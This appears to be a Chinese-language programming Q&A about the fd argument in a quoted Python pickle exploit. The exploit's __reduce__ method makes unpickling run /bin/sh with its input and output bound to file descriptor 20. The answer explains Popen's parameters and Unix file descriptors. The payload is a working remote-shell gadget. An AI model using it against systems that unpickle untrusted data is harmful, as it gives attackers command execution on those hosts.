在subprocess.Popen中的fd

时间:2015-09-17 03:01:05

标签: python subprocess

我正在阅读一些泡菜漏洞,并发现了这段代码。

class Exploit(object):
  def __reduce__(self):
    fd = 20
    return (subprocess.Popen,
            (('/bin/sh',), # args
             0,            # bufsize
             None,         # executable
             fd, fd, fd    # std{in,out,err}
             ))

此参数中fd的含义是什么?我认为它的值为20.据我所知subprocess.Popen(command, stdin = subprocess.PIPE)等等。那么fd来自哪里?

获取代码的链接

https://blog.nelhage.com/2011/03/exploiting-pickle/

1 个答案:

答案 0 :(得分:2)

如果您查看subprocess.Popen的文档:

$ pydoc subprocess.Popen

您将找到__init__方法的文档:

__init__(self, args, bufsize=0, executable=None, stdin=None,
stdout=None, stderr=None, preexec_fn=None, close_fds=False, 
shell=False, cwd=None, env=None, universal_newlines=False, 
startupinfo=None, creationflags=0)

告诉你这个电话:

subprocess.Popen,
        (('/bin/sh',), # args
         0,            # bufsize
         None,         # executable
         fd, fd, fd    # std{in,out,err}
         ))

传递argsbufsizeexecutablestdinstdoutstderr的值。所以在这种情况下,代码将stdin,stdout和stderr设置为被调用的进程20,它将被解释为标准的Unix文件描述符,并对应于代码中其他地方打开的文件或者由调用者部分的输出重定向生成的文件描述符。